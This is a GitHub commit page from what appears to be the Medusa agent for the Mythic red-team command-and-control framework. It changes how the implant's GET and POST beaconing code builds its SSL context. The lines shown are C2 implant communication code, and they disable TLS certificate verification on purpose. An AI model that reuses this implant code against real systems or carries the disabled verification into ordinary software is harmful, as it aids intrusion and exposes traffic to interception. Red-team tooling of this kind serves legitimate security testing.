Skip to content

Commit

Permalink
py7 cert fix
Browse files Browse the repository at this point in the history
  • Loading branch information
ajpc500 committed Aug 16, 2021
1 parent 17afc9c commit f16eab9
Show file tree
Hide file tree
Showing 2 changed files with 4 additions and 8 deletions.
6 changes: 2 additions & 4 deletions Payload_Type/medusa/agent_code/base_agent/base_agent.py2
Original file line number Diff line number Diff line change
Expand Up @@ -153,8 +153,7 @@ CRYPTO_HERE
hdrs[header["name"]] = header["value"]
req = urllib2.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), None, hdrs)

# To avoid HTTPS cert verification
gcontext = ssl.SSLContext()
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
gcontext.verify_mode = ssl.CERT_NONE

if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
Expand Down Expand Up @@ -186,8 +185,7 @@ CRYPTO_HERE
hdrs[header["name"]] = header["value"]
req = urllib2.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs)

# To avoid HTTPS cert verification
gcontext = ssl.SSLContext()
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
gcontext.verify_mode = ssl.CERT_NONE

if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
Expand Down
6 changes: 2 additions & 4 deletions Payload_Type/medusa/agent_code/base_agent/base_agent.py3
Original file line number Diff line number Diff line change
Expand Up @@ -152,8 +152,7 @@ CRYPTO_HERE
hdrs[header["name"]] = header["value"]
req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), hdrs)

# To avoid HTTPS cert verification
gcontext = ssl.SSLContext()
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
gcontext.verify_mode = ssl.CERT_NONE

if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
Expand Down Expand Up @@ -186,8 +185,7 @@ CRYPTO_HERE
hdrs[header["name"]] = header["value"]
req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs)

# To avoid HTTPS cert verification
gcontext = ssl.SSLContext()
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS)
gcontext.verify_mode = ssl.CERT_NONE

if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
Expand Down

0 comments on commit f16eab9

Please sign in to comment.